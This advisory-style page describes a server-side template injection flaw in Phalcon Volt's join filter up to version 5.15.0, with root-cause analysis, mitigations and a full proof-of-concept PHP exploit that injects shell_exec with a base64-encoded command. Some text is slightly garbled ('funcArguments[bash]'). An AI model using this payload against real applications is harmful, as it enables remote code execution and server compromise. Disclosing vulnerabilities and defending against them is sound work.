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The Phalcon Volt template compiler contains a critical vulnerability in its join filter implementation. The compiler generates PHP code by directly concatenating raw template-literal arguments without any escaping or sanitization. Specifically, the separator argument is inserted verbatim between single quotes, and the piped array argument is emitted completely bare. An attacker who can control the arguments passed to the join filter within a Volt template can break out of the generated join(‘…’) call. This allows the injection of arbitrary PHP code into the compiled template file. Volt then writes this compiled template to a cache directory and subsequently uses require() to include it at render time. Consequently, the injected PHP code executes with the privileges of the web server process. The root cause lies in the compiler’s case handler for the “join” filter, found in Compiler.zep lines 2544-2546. The code directly uses funcArguments
["expr"]["value"] for the separator and funcArguments[bash]["expr"]["value"] for the array. Unlike all other filter expressions in the compiler, these values are not passed through the expression() method, which normally applies escaping and validation. This omission means that a single quote (') in the separator can terminate the string literal. An attacker can then append arbitrary PHP code after the closing quote and before the closing parenthesis. The Volt scanner stores string-literal bytes exactly as provided, without decoding escape sequences, so malicious payloads survive intact. The generated C code in Phalcon 5.15.0 (phalcon.zep.c) confirms the unsafe concatenation using ZEPHIR_CONCAT_SVSVS. This function joins the literal "join('", the separator, "', ", the array, and ")" with no intermediate filtering. The compiled template is then saved to a cache file and included via Phalcon\Mvc\View\Engine\Volt::render(). Any application that compiles user-supplied or attacker-influenced Volt templates is vulnerable to server-side template injection leading to remote code execution. The provided proof-of-concept demonstrates injecting a PHP shell command using a base64-encoded payload. This vulnerability affects all Phalcon versions up to and including 5.15.0, where the join filter is used without proper sanitization.
<h2 style="color: blue;">DailyCVE Form:</h2>
Platform: Phalcon
Version: 5.15.0
Vulnerability : Code Injection
Severity: Critical
date: 2026-08-22
<h2 style="color: blue;">Prediction: 2026-09-15</h2>
<h2 style="color: blue;">What Undercode Say:</h2>
[bash]
cat > exploit.php << 'EOF'
<?php
use Phalcon\Mvc\View\Engine\Volt\Compiler;
$cmd = 'id; uname -a; hostname';
$b64 = base64_encode($cmd);
$tpl = "{{ ['x'] | join(\"',[]); echo shell_exec(base64_decode('$b64')); //\") }}";
$compiled = (new Compiler())->compileString($tpl);
$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';
file_put_contents($f, $compiled);
include $f;
unlink($f);
EOF
php exploit.php
Exploit: (Educational Purposes!)
The attacker supplies a Volt template with a malicious join filter payload. The separator argument contains `’,[]); echo shell_exec(base64_decode(‘…’)); //` which closes the generated single-quoted string, injects arbitrary PHP, and comments out the trailing code. When compiled, the resulting PHP file executes the attacker’s command upon inclusion.
Protection: from this CVE
- Upgrade Phalcon to a patched version once available.
- Avoid compiling user-controlled Volt templates.
- Sanitize and validate any external input used in filter arguments.
- Disable Volt template caching or restrict cache directory permissions.
Impact:
Remote Code Execution (RCE) in the web-server process, allowing full compromise of the application and underlying server.
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Sources:
Reported By: github.com
Extra Source Hub:
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